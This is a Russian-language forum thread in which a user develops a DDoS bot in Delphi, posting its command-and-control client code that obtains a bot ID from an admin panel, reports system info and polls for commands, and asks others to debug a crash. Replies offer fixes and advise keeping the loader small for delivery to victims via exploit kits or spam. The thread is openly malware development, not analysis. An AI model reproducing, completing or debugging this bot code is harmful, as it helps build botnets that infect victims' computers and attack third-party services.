пишу свой ddos бот на дельфях. написал код для получения id бота(идентефикатор который храниться в файле и бот используя его отчитывается перед админкой). выдается он из админки. столкнулся с такой проблемой. вот код получения команды и id-а Code: type //структура команды command=record cmd:string; param1:string; param2:string; param3:string; param4:string; param5:string; param6:string; param7:string; end; function getid:string; var s:pchar; f:_WIN32_FIND_DATAA; fh,ff:textfile; inet,url:HINTERNET; readed:dword; begin if FindFirstFile('params.ini',f)=INVALID_HANDLE_VALUE then begin //если нет файла с id-ом то... inet:=INTERNETOPEN('mozilla 5.0',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0); url:=internetopenurl(inet,pchar(reg_b+'?act=getid'),nil,0,0,0);//получием id internetreadfile(url,s,128,readed); s:=pchar(copy(string(s),pos('[id]',string(s))+length('[id]'),pos('[/id]',string(s))-(pos('[id]',string(s))+length('[id]'))));//парсим(защита от рекламных банеров) assignfile(fh,'params.ini');//создадим файл rewrite(fh); s[readed]:=chr(0); writeln(fh,s,readed);//запишем id туда closefile(fh);//закрываем файл result:=s;//возвращаем id exit;//выходим end else//ах есть файл?! begin assignfile(ff,'params.ini');//откроем... reset(ff); readln(ff,result);//считаем closefile(ff);//закроем end; end; function GetCommand :String;//получение команды var hSock :HINTERNET; hFile :HINTERNET; lpdwNumberOfBytesRead :DWORD; id:string; Command :array [0..255] of Char; begin id:=getid;//получим id hSock := InternetOpen(PChar(UserAgent[5]), 0, nil, nil, 0); hFile := InternetOpenUrl(hSock, PChar(reg_b+'?info='+sys_info+'&ver='+ver+'¬e='+note+'&id='+id), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0);//запросим команду InternetReadFile(hFile, @Command, Length(Command), lpdwNumberOfBytesRead);//считаем Result := Copy(Command,1,lpdwNumberOfBytesRead);//возвратим InternetCloseHandle(hSock); end; function get_cmd:command; var s:string; begin s:=GetCommand;//получим команду {распарсим команду вида команда|параметр|параметр|...|....|... на структуру command} s:=copy(s,pos('[cmd]',s)+length('[cmd]'),pos('[/cmd]',s)-(pos('[cmd]',s)+length('[cmd]'))); //messagebox(0,pchar(s),'',MB_OK); result.cmd:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param1:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param2:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param3:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param4:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param5:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param6:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); end; дак вот сотбственно проблема: когда файл с id-ом есть все нормально работает. но если нету,то вылетает ошибка runtime error 216. хотя id получается корректный в любом случае и записывается файл пред вылетом проги. прогнал под отладчиком и выяснил что в случае когда файла нет то в функции парсинга выполняется только первая и последняя строчка: Code: function get_cmd:command; var s:string; begin s:=GetCommand;//получим команду {распарсим команду вида команда|параметр|параметр|...|....|... на структуру command} s:=copy(s,pos('[cmd]',s)+length('[cmd]'),pos('[/cmd]',s)-(pos('[cmd]',s)+length('[cmd]'))); //messagebox(0,pchar(s),'',MB_OK); result.cmd:=copy(s,1,pos('|',s)-1);//эта строчка выполняется // эти нет delete(s,1,pos('|',s)); result.param1:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param2:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param3:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param4:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param5:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result.param6:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s));//а эта выполняется end; команда тоже корректная получается(если раскоментить мессаджбокс можно увидеть это) но не могу понять почему пропускаются все строчки кроме первой и последней? условных и безусловных переходов там нет.
можно. но тогда придется подключать sysutils и ddos бот будет весить ~100 кб, что не позволительно для малвара насчет условия так? : Code: if true then begin //парсинг строки end;
нет. все равно со строки result.cmd:=copy(s,1,pos('|',s)-1); прыгает сразу на delete(s,1,pos('|',s));
ну так походу и оно будет делать оно будет только искать первое вхождения и удалять его, тебе надо както потом обновлять строчку, или ставить условия если это сделано , тогда делаем следующе!!!
переделал процедуру: Code: function get_cmd:command; var s:string; r:command; begin s:=GetCommand; //messagebox(0,pchar(s),'',MB_OK); if s<>'' then begin s:=copy(s,pos('[cmd]',s)+length('[cmd]'),pos('[/cmd]',s)-(pos('[cmd]',s)+length('[cmd]'))); r.cmd:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); r.param1:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); r.param2:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); r.param3:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); r.param4:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); r.param5:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); r.param6:=copy(s,1,pos('|',s)-1); delete(s,1,pos('|',s)); result:=r; //messagebox(0,pchar(result.cmd),'',mb_ok); end; выполняется все, но ошибка остается. напоминаю что она возникает при выполнении следующего кода: Code: if FindFirstFile('params.ini',f)=INVALID_HANDLE_VALUE then begin inet:=INTERNETOPEN('mozilla 5.0',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0); url:=internetopenurl(inet,pchar(reg_b+'?act=getid'),nil,0,0,0); internetreadfile(url,s,128,readed); s:=pchar(copy(string(s),pos('[id]',string(s))+length('[id]'),pos('[/id]',string(s))-(pos('[id]',string(s))+length('[id]')))); assignfile(fh,'params.ini'); rewrite(fh); s[readed]:=chr(0); writeln(fh,s,readed); closefile(fh); result:=s; exit; end
Ошибаешься. Размер бота абсолютно не критичен. Он может быть хоть несколько мегабайт. А вот немного весить должен лоадер, который будет загружать твоего бота к жертве на комп. И то только, если ты его будешь впаривать через связку. Если спамом, иным путём - тоже пофиг.
проблема конечно не в этом, но вместо copy, del можно ExtractStrings запихать Code: function FileCanBeAssigned(const Origin: string): boolean; var F: TFileStream; begin { Если файл невозможно открыть, то Create сгенерирует исключение. Возвращает true если файл не заблокирован } try F := TFileStream.Create(Origin, fmOpenReadWrite or fmShareExclusive); try Result := true; finally F.Free; end; except Result := false; end; end; true - файл существует и не занят false - не существует либо занят На каком-то блоге встречал fileexists написанную на Api, ща попытаюсь найти Code: function FileExists(param: string): boolean; var h: integer; begin h:=_lopen(PChar(param), OF_SHARE_COMPAT); Result:=(h <> HFILE_ERROR); if Result then _lclose(h); end; или же Code: function FileExists(FileName:string):boolean; var FindData: TWin32FindData; begin Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE); end;
extractstrings и tfilestream находиться в модуле classes, а я пишу бот с использованием только windows api функций, ибо малварь и vcl - вещи не совместимые а это попробую вынести в отдельную функцию. может может это что-то и даст